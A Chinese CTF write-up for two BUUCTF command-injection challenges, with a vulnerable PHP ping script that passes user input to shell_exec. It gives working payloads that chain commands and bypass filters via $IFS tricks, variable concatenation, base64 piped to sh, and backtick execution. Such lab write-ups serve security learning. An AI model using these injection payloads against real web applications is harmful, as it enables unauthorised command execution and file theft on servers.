IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> buuctf web(三) -> 正文阅读

[PHP知识库]buuctf web(三)

知识点

  • Linux ping 命令
    Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。

    语法:ping [-dfnqrRv][-c<完成次数>][-i<间隔秒数>][-I<网络界面>][-l<前置载入>][-p<范本样式>][-s<数据包大小>][-t<存活数值>][主机名称或IP地址]

    参数说明:

     -d 使用Socket的SO_DEBUG功能。
     -c <完成次数> 设置完成要求回应的次数。
     -f 极限检测。
     -i<间隔秒数> 指定收发信息的间隔时间。
     -I<网络界面> 使用指定的网络接口送出数据包。
     -l<前置载入> 设置在送出要求信息之前,先行发出的数据包。
     -n 只输出数值。
     -p<范本样式> 设置填满数据包的范本样式。
     -q 不显示指令执行过程,开头和结尾的相关信息除外。
     -r 忽略普通的Routing Table,直接将数据包送到远端主机上。
     -R 记录路由过程。
     -s<数据包大小> 设置数据包的大小。
     -t<存活数值> 设置存活数值TTL的大小。
     -v 详细显示指令的执行过程。
     -w <deadline> 在 deadline 秒后退出。
     -W <timeout> 在等待 timeout 秒后开始执行。
    
  • 命令中空格被过滤的解决方法

    • linux

      {cat,flag.txt} 
      cat${IFS}flag.txt
      cat$IFS$9flag.txt
      cat<flag.txt
      cat<>flag.txt
      kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
      
    • windows下

      (实用性不是很广,也就type这个命令可以用)
      type.\flag.txt
      type,flag.txt
      echo,123456
      
  • 拼接符

    & :前面和后面命令都要执行,无论前面真假
    &&: 表示前一条命令执行成功时,才执行后一条命令
    | :直接执行后面的语句
    || :表示上一条命令执行失败后,才执行下一条命令
    ; :表示命令依次执行

  • 贪婪匹配

    表达式 .*就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串,以第一个a开始,最后一个b结束。如果用它来搜索aabab的话,它会匹配整个字符串aabab。

  • ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

  • cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。

    如果cat被过滤,可以用下边的方法进行绕过

    (1)more:一页一页的显示档案内容
    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    (3)head:查看头几行
    (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    (5)tail:查看尾几行
    (6)nl:显示的时候,顺便输出行号
    (7)od:以二进制的方式读取档案内容
    (8)vi:一种编辑器,这个也可以查看
    (9)vim:一种编辑器,这个也可以查看
    (10)sort:可以查看
    (11)uniq:可以查看
    (12)file -f:报错出具体内容

  • 内联执行:将指定的函数体插入并取代每一处调用该函数的地方。反引号 在linux中作为内联执行,执行输出结果。

[ACTF2020 新生赛]Exec

[GXYCTF2019]Ping Ping Ping题类似,但此题更简单

需要了解的知识点
ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。

在这里插入图片描述
查看此文件的目录:127.0.0.1|ls
在这里插入图片描述只有一个index.php

查看上级目录127.0.0.1|ls /
在这里插入图片描述
查看flag:127.0.0.1|cat /flag
在这里插入图片描述
拿到flag~~

[GXYCTF2019]Ping Ping Ping

题目类型:命令执行+代码审计
在这里插入图片描述
提示/?ip=

输入/?ip=127.0.0.1,回显成功
在这里插入图片描述
显示当前的所有文件:/?ip=127.0.0.1|ls

在这里插入图片描述这里查到了两个php文件
查看flag.php:?ip=127.0.0.1|cat flag.php

在这里插入图片描述这里提示/?ip= fxck your space!额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了

命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

试试第一个方法:/?ip=127.0.0.1|{cat,flag.php}
在这里插入图片描述发现符号又被过滤了,说明{}大括号被过滤了,那第二个不能用了
试试第三个方法/?ip=127.0.0.1|cat$IFS$9flag.php
在这里插入图片描述flag也被过滤了!

不是查出来两个文件嘛,看看另一个吧
查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
在这里插入图片描述发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

代码审计一下,好多都被过滤了emmm;但最后有个变量a,我也不知道怎么做
不会了,学一下大佬的方法吧

  • 方法一:变量拼接字符串——将a的值覆盖,然后进行绕过
    构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php or /?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b
    总之就是用变量拼接成flag
    在这里插入图片描述啥也没有,查看源码

    /?ip=
    <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
    <?php
    $flag = "flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";
    ?>
    
    

    拿到flag~~

  • 方法二:sh命令来执行
    使用 base64 编码的方式来绕过 flag 过滤。

     加密命令
     echo “cat flag.php” | base64
     解密命令并执行
     echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
    

    然后用$IFS$9代替空格。
    构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
    在这里插入图片描述 拿到flag~~

  • 方法三:内联执行
    内联函数:将指定的函数体插入并取代每一处调用该函数的地方。

    反引号在linux中作为内联执行,执行输出结果。也就是说

    cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php

    构造payload /?ip=127.0.0.1;cat$IFS$9`ls`
    在这里插入图片描述

做完的感受就是flag真会藏,坑

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2021-07-28 16:31:32  更:2021-07-28 16:31:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/4 4:41:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码